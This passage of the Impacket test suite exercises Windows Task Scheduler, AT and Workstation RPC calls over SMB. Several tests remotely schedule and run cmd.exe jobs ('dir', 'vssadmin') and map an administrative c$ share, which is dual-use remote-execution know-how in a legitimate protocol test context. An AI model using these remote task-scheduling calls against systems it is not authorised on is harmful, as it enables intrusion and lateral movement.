test_hSchRpcHighestVersion(self):\n        dce, rpc_transport = self.connect()\n        resp = tsch.hSchRpcHighestVersion(dce)\n        resp.dump()\n\n    @pytest.mark.skip(reason=\"Disabled test\")\n    def test_SchRpcRegisterTask(self):\n        dce, rpc_transport = self.connect()\n        xml = \"\"\"\n<!-- Task -->\n<xs:complexType name=\"taskType\">\n<xs:all>\n<xs:element name=\"RegistrationInfo\" type=\"registrationInfoType\" minOccurs=\"0\"/>\n<xs:element name=\"Triggers\" type=\"triggersType\" minOccurs=\"0\"/>\n<xs:element name=\"Settings\" type=\"settingsType\" minOccurs=\"0\"/>\n<xs:element name=\"Data\" type=\"dataType\" minOccurs=\"0\"/>\n<xs:element name=\"Principals\" type=\"principalsType\" minOccurs=\"0\"/>\n<xs:element name=\"Actions\" type=\"actionsType\"/>\n</xs:all>\n<xs:attribute name=\"version\" type=\"versionType\" use=\"optional\"/> </xs:complexType>\\x00\n\"\"\"\n        request = tsch.SchRpcRegisterTask()\n        request['path'] = NULL\n        request['xml'] = xml\n        request['flags'] = 1\n        request['sddl'] = NULL\n        request['logonType'] = tsch.TASK_LOGON_NONE\n        request['cCreds'] = 0\n        request['pCreds'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_SchRpcRetrieveTask(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\\\Temp\\\\BTO\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        request = tsch.SchRpcRetrieveTask()\n        request['path'] = '\\\\At%d.job\\x00' % jobId\n        request['lpcwszLanguagesBuffer'] = '\\x00'\n        request['pulNumLanguages'] = 0\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if e.get_error_code() != 0x80070002:\n                raise\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_hSchRpcRetrieveTask(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = tsch.hSchRpcRetrieveTask(dce, '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\\x00')\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n    def test_SchRpcCreateFolder_SchRpcEnumFolders_SchRpcDelete(self):\n        dce, rpc_transport = self.connect()\n\n        request = tsch.SchRpcCreateFolder()\n        request['path'] = '\\\\Beto\\x00'\n        request['sddl'] = NULL\n        request['flags'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n        request = tsch.SchRpcEnumFolders()\n        request['path'] = '\\\\\\x00'\n        request['flags'] = tsch.TASK_ENUM_HIDDEN\n        request['startIndex'] = 0\n        request['cRequested'] = 10\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n        request = tsch.SchRpcDelete()\n        request['path'] = '\\\\Beto\\x00'\n        request['flags'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSchRpcCreateFolder_hSchRpcEnumFolders_hSchRpcDelete(self):\n        dce, rpc_transport = self.connect()\n\n        resp = tsch.hSchRpcCreateFolder(dce, '\\\\Beto')\n        resp.dump()\n\n        resp = tsch.hSchRpcEnumFolders(dce, '\\\\')\n        resp.dump()\n\n        resp = tsch.hSchRpcDelete(dce, '\\\\Beto')\n        resp.dump()\n\n    def test_SchRpcEnumTasks(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\\\Temp\\\\BTO\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        request = tsch.SchRpcEnumTasks()\n        request['path'] = '\\\\\\x00'\n        request['flags'] = tsch.TASK_ENUM_HIDDEN\n        request['startIndex'] = 0\n        request['cRequested'] = 10\n        resp = dce.request(request)\n        resp.dump()\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_hSchRpcEnumTasks(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\\\Temp\\\\BTO\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        resp = tsch.hSchRpcEnumTasks(dce, '\\\\')\n        resp.dump()\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_SchRpcEnumInstances(self):\n        dce, rpc_transport = self.connect()\n\n        request = tsch.SchRpcEnumInstances()\n        request['path'] = '\\\\\\x00'\n        request['flags'] = tsch.TASK_ENUM_HIDDEN\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if e.get_error_code() != 0x80070002:\n                raise\n\n    def test_hSchRpcEnumInstances(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = tsch.hSchRpcEnumInstances(dce, '\\\\')\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if e.get_error_code() != 0x80070002:\n                raise\n\n    def test_SchRpcRun(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\\\Temp\\\\ANI 2>&1\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        request = tsch.SchRpcRun()\n        request['path'] = '\\\\At%d\\x00' % jobId\n        request['cArgs'] = 0\n        request['pArgs'] = NULL\n        request['flags'] = tsch.TASK_RUN_AS_SELF\n        request['sessionId'] = 0\n        request['user'] = NULL\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_hSchRpcRun(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\\\Temp\\\\ANI 2>&1\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        try:\n            resp = tsch.hSchRpcRun(dce, '\\\\At%d\\x00' % jobId, ('arg0','arg1'))\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_SchRpcGetInstanceInfo(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\\\Temp\\\\ANI 2>&1\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        try:\n            resp = tsch.hSchRpcRun(dce, '\\\\At%d\\x00' % jobId, ('arg0','arg1'))\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n        request = tsch.SchRpcGetInstanceInfo()\n        request['guid'] = resp['pGuid']\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:\n                raise\n            pass\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_hSchRpcGetInstanceInfo(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\\\Temp\\\\ANI 2>&1\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        try:\n            resp = tsch.hSchRpcRun(dce, '\\\\At%d\\x00' % jobId, ('arg0','arg1'))\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n        try:\n            resp = tsch.hSchRpcGetInstanceInfo(dce, resp['pGuid'])\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:\n                raise\n            pass\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_SchRpcStopInstance(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\\\Temp\\\\ANI 2>&1\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        try:\n            resp = tsch.hSchRpcRun(dce, '\\\\At%d\\x00' % jobId, ('arg0','arg1'))\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n        request = tsch.SchRpcStopInstance()\n        request['guid'] = resp['pGuid']\n        request['flags'] = 0\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:\n                raise\n            pass\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_hSchRpcStopInstance(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\\\Temp\\\\ANI 2>&1\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        try:\n            resp = tsch.hSchRpcRun(dce, '\\\\At%d\\x00' % jobId, ('arg0','arg1'))\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n        try:\n            resp = tsch.hSchRpcStopInstance(dce, resp['pGuid'])\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:\n                raise\n            pass\n\n        try:\n            resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n\n    def test_SchRpcStop(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\\\Temp\\\\ANI 2>&1\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        request = tsch.SchRpcStop()\n        request['path'] = '\\\\At%d\\x00' % jobId\n        request['flags'] = 0\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            # It is actually S_FALSE\n            if str(e).find('ERROR_INVALID_FUNCTION') <= 0:\n                raise\n            pass\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_hSchRpcStop(self):\n        dce, rpc_transport = self.connect()\n        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)\n\n        atInfo = AT_INFO()\n        atInfo['JobTime'] = NULL\n        atInfo['DaysOfMonth'] = 0\n        atInfo['DaysOfWeek'] = 0\n        atInfo['Flags'] = 0\n        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\\\Temp\\\\ANI 2>&1\\x00'\n\n        try:\n            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)\n            resp.dump()\n        except atsvc.DCERPCSessionError as e:\n            if e.get_error_code() != ERROR_NOT_SUPPORTED:\n                raise\n            else:\n                # OpNum not supported, aborting test\n                return\n        jobId = resp['pJobId']\n\n        try:\n            resp = tsch.hSchRpcStop(dce, '\\\\At%d\\x00' % jobId)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            # It is actually S_FALSE\n            if str(e).find('ERROR_INVALID_FUNCTION') <= 0:\n                raise\n            pass\n\n        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)\n        resp.dump()\n\n    def test_SchRpcRename(self):\n        dce, rpc_transport = self.connect()\n        resp = tsch.hSchRpcCreateFolder(dce, '\\\\Beto')\n        resp.dump()\n\n        request = tsch.SchRpcRename()\n        request['path'] = '\\\\Beto\\x00'\n        request['newName'] = '\\\\Anita\\x00'\n        request['flags'] = 0\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if str(e).find('E_NOTIMPL') <= 0:\n                raise\n            pass\n\n        resp = tsch.hSchRpcDelete(dce, '\\\\Beto')\n        resp.dump()\n\n    def test_hSchRpcRename(self):\n        dce, rpc_transport = self.connect()\n        resp = tsch.hSchRpcCreateFolder(dce, '\\\\Beto')\n        resp.dump()\n\n        try:\n            resp = tsch.hSchRpcRename(dce, '\\\\Beto', '\\\\Anita')\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if str(e).find('E_NOTIMPL') <= 0:\n                raise\n            pass\n\n        resp = tsch.hSchRpcDelete(dce, '\\\\Beto')\n        resp.dump()\n\n    def test_SchRpcScheduledRuntimes(self):\n        dce, rpc_transport = self.connect()\n        request = tsch.SchRpcScheduledRuntimes()\n        request['path'] = '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\\x00'\n        request['start'] = NULL\n        request['end'] = NULL\n        request['flags'] = 0\n        request['cRequested'] = 10\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            # It is actually S_FALSE\n            if str(e).find('ERROR_INVALID_FUNCTIO') <= 0 and str(e).find('SCHED_S_TASK_NOT_SCHEDULED') < 0:\n                raise\n            e.get_packet().dump()\n            pass\n\n    def test_hSchRpcScheduledRuntimes(self):\n        dce, rpc_transport = self.connect()\n        request = tsch.SchRpcScheduledRuntimes()\n        request['path'] = '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\\x00'\n        request['start'] = NULL\n        request['end'] = NULL\n        request['flags'] = 0\n        request['cRequested'] = 10\n        try:\n            resp = tsch.hSchRpcScheduledRuntimes(dce, '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag', NULL, NULL, 0, 10)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            # It is actually S_FALSE\n            if str(e).find('ERROR_INVALID_FUNCTIO') <= 0 and str(e).find('SCHED_S_TASK_NOT_SCHEDULED') < 0:\n                raise\n            e.get_packet().dump()\n            pass\n\n    def test_SchRpcGetLastRunInfo(self):\n        dce, rpc_transport = self.connect()\n        request = tsch.SchRpcGetLastRunInfo()\n        request['path'] = '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\\x00'\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if str(e).find('SCHED_S_TASK_HAS_NOT_RUN') <= 0:\n                raise\n            pass\n\n    def test_hSchRpcGetLastRunInfo(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = tsch.hSchRpcGetLastRunInfo(dce, '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag')\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            if str(e).find('SCHED_S_TASK_HAS_NOT_RUN') <= 0:\n                raise\n            pass\n\n    def test_SchRpcGetTaskInfo(self):\n        dce, rpc_transport = self.connect()\n        request = tsch.SchRpcGetTaskInfo()\n        request['path'] = '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\\x00'\n        request['flags'] = tsch.SCH_FLAG_STATE\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n    def test_hSchRpcGetTaskInfo(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = tsch.hSchRpcGetTaskInfo(dce, '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag', tsch.SCH_FLAG_STATE)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n    def test_SchRpcGetNumberOfMissedRuns(self):\n        dce, rpc_transport = self.connect()\n        request = tsch.SchRpcGetNumberOfMissedRuns()\n        request['path'] = '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\\x00'\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n    def test_hSchRpcGetNumberOfMissedRuns(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = tsch.hSchRpcGetNumberOfMissedRuns(dce, '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag')\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n    def test_SchRpcEnableTask(self):\n        dce, rpc_transport = self.connect()\n        request = tsch.SchRpcEnableTask()\n        request['path'] = '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\\x00'\n        request['enabled'] = 1\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n    def test_hSchRpcEnableTask(self):\n        dce, rpc_transport = self.connect()\n        try:\n            resp = tsch.hSchRpcEnableTask(dce, '\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag', True)\n            resp.dump()\n        except tsch.DCERPCSessionError as e:\n            print(e)\n            pass\n\n\n@pytest.mark.remote\nclass ATSVCTestsSMBTransport(ATSVCTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass ATSVCTestsSMBTransport64(ATSVCTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n@pytest.mark.remote\nclass SASECTestsSMBTransport(SASECTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass SASECTestsSMBTransport64(SASECTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n@pytest.mark.remote\nclass TSCHTestsSMBTransport(TSCHTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass TSCHTestsSMBTransport64(TSCHTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_wkst.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)NetrWkstaGetInfo\n#   (h)NetrWkstaUserEnum\n#   (h)NetrWkstaTransportEnum\n#   (h)NetrWkstaSetInfo\n#   NetrWkstaTransportAdd\n#   (h)NetrUseAdd\n#   (h)NetrUseGetInfo\n#   (h)NetrUseDel\n#   (h)NetrUseEnum\n#   (h)NetrWorkstationStatisticsGet\n#   (h)NetrGetJoinInformation\n#   (h)NetrJoinDomain2\n#   (h)NetrUnjoinDomain2\n#   (h)NetrRenameMachineInDomain2\n#   (h)NetrValidateName2\n#   (h)NetrGetJoinableOUs2\n#   (h)NetrAddAlternateComputerName\n#   (h)NetrRemoveAlternateComputerName\n#   (h)NetrSetPrimaryComputerName\n#   (h)NetrEnumerateComputerNames\n#\n# Not yet:\n#   NetrWkstaTransportDel\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pytest\nimport unittest\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import wkst\nfrom impacket.dcerpc.v5.ndr import NULL\n\n\nclass WKSTTests(DCERPCTests):\n    iface_uuid = wkst.MSRPC_UUID_WKST\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\wkssvc]\"\n    authn = True\n\n    def test_NetrWkstaGetInfo(self):\n        dce, rpc_transport = self.connect()\n        request = wkst.NetrWkstaGetInfo()\n        request['ServerName'] = '\\x00'*10\n        request['Level'] = 100\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 101\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 102\n        resp = dce.request(request)\n        resp.dump()\n\n        request['Level'] = 502\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrWkstaGetInfo(self):\n        dce, rpc_transport = self.connect()\n        resp = wkst.hNetrWkstaGetInfo(dce, 100)\n        resp.dump()\n\n        resp = wkst.hNetrWkstaGetInfo(dce, 101)\n        resp.dump()\n\n        resp = wkst.hNetrWkstaGetInfo(dce, 102)\n        resp.dump()\n\n        resp = wkst.hNetrWkstaGetInfo(dce, 502)\n        resp.dump()\n\n    def test_NetrWkstaUserEnum(self):\n        dce, rpc_transport = self.connect()\n        request = wkst.NetrWkstaUserEnum()\n        request['ServerName'] = '\\x00'*10\n        request['UserInfo']['Level'] = 0\n        request['UserInfo']['WkstaUserInfo']['tag'] = 0\n        request['PreferredMaximumLength'] = 8192\n        resp = dce.request(request)\n        resp.dump()\n\n        request['UserInfo']['Level'] = 1\n        request['UserInfo']['WkstaUserInfo']['tag'] = 1\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrWkstaUserEnum(self):\n        dce, rpc_transport = self.connect()\n        resp = wkst.hNetrWkstaUserEnum(dce, 0)\n        resp.dump()\n\n        resp = wkst.hNetrWkstaUserEnum(dce, 1)\n        resp.dump()\n\n    def test_NetrWkstaTransportEnum(self):\n        dce, rpc_transport = self.connect()\n        request = wkst.NetrWkstaTransportEnum()\n        request['ServerName'] = '\\x00'*10\n        request['TransportInfo']['Level'] = 0\n        request['TransportInfo']['WkstaTransportInfo']['tag'] = 0\n        request['PreferredMaximumLength'] = 500\n        request['ResumeHandle'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hNetrWkstaTransportEnum(self):\n        dce, rpc_transport = self.connect()\n        resp = wkst.hNetrWkstaTransportEnum(dce, 0)\n        resp.dump()\n\n    def test_NetrWkstaSetInfo(self):\n        dce, rpc_transport = self.connect()\n        request = wkst.NetrWkstaGetInfo()\n        request['ServerName'] = '\\x00'*10\n        request['Level'] = 502\n        resp = dce.request(request)\n        resp.dump()\n        oldVal = resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit']\n\n        req = wkst.NetrWkstaSetInfo()\n        req['ServerName'] = '\\x00'*10\n        req['Level'] = 502\n        req['WkstaInfo'] = resp['WkstaInfo']\n        req['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = 500\n        resp2 = dce.request(req)\n        resp2.dump()\n\n        resp = dce.request(request)\n        self.assertEqual(500, resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'])\n\n        req['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = oldVal\n        resp2 = dce.request(req)\n        resp2.dump()\n\n    def test_hNetrWkstaSetInfo(self):\n        dce, rpc_transport = self.connect()\n        resp = wkst.hNetrWkstaGetInfo(dce, 502)\n        resp.dump()\n        oldVal = resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit']\n\n        resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = 500\n        resp2 = wkst.hNetrWkstaSetInfo(dce, 502, resp['WkstaInfo']['WkstaInfo502'])\n        resp2.dump()\n\n        resp = wkst.hNetrWkstaGetInfo(dce, 502)\n        resp.dump()\n        self.assertEqual(500, resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'])\n\n        resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = oldVal\n        resp2 = wkst.hNetrWkstaSetInfo(dce, 502, resp['WkstaInfo']['WkstaInfo502'])\n        resp2.dump()\n\n    def test_NetrWkstaTransportAdd(self):\n        dce, rpc_transport = self.connect()\n        req = wkst.NetrWkstaTransportAdd()\n        req['ServerName'] = '\\x00'*10\n        req['Level'] = 0\n        req['TransportInfo']['wkti0_transport_name'] = 'BETO\\x00'\n        req['TransportInfo']['wkti0_transport_address'] = '000C29BC5CE5\\x00'\n        try:\n            resp2 = dce.request(req)\n            resp2.dump()\n        except Exception as e:\n            if str(e).find('ERROR_INVALID_FUNCTION') < 0:\n                raise\n\n    def test_hNetrUseAdd_hNetrUseDel_hNetrUseGetInfo_hNetrUseEnum(self):\n        dce, rpc_transport = self.connect()\n\n        info1 = wkst.LPUSE_INFO_1()\n        info1['ui1_local'] = 'Z:\\x00'\n        info1['ui1_remote'] = '\\\\\\\\127.0.0.1\\\\c$\\x00'\n        info1['ui1_password'] = NULL\n        try:\n            resp = wkst.hNetrUseAdd(dce, 1, info1)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('rpc_s_access_denied') >=0:\n                # This could happen in newer OSes\n                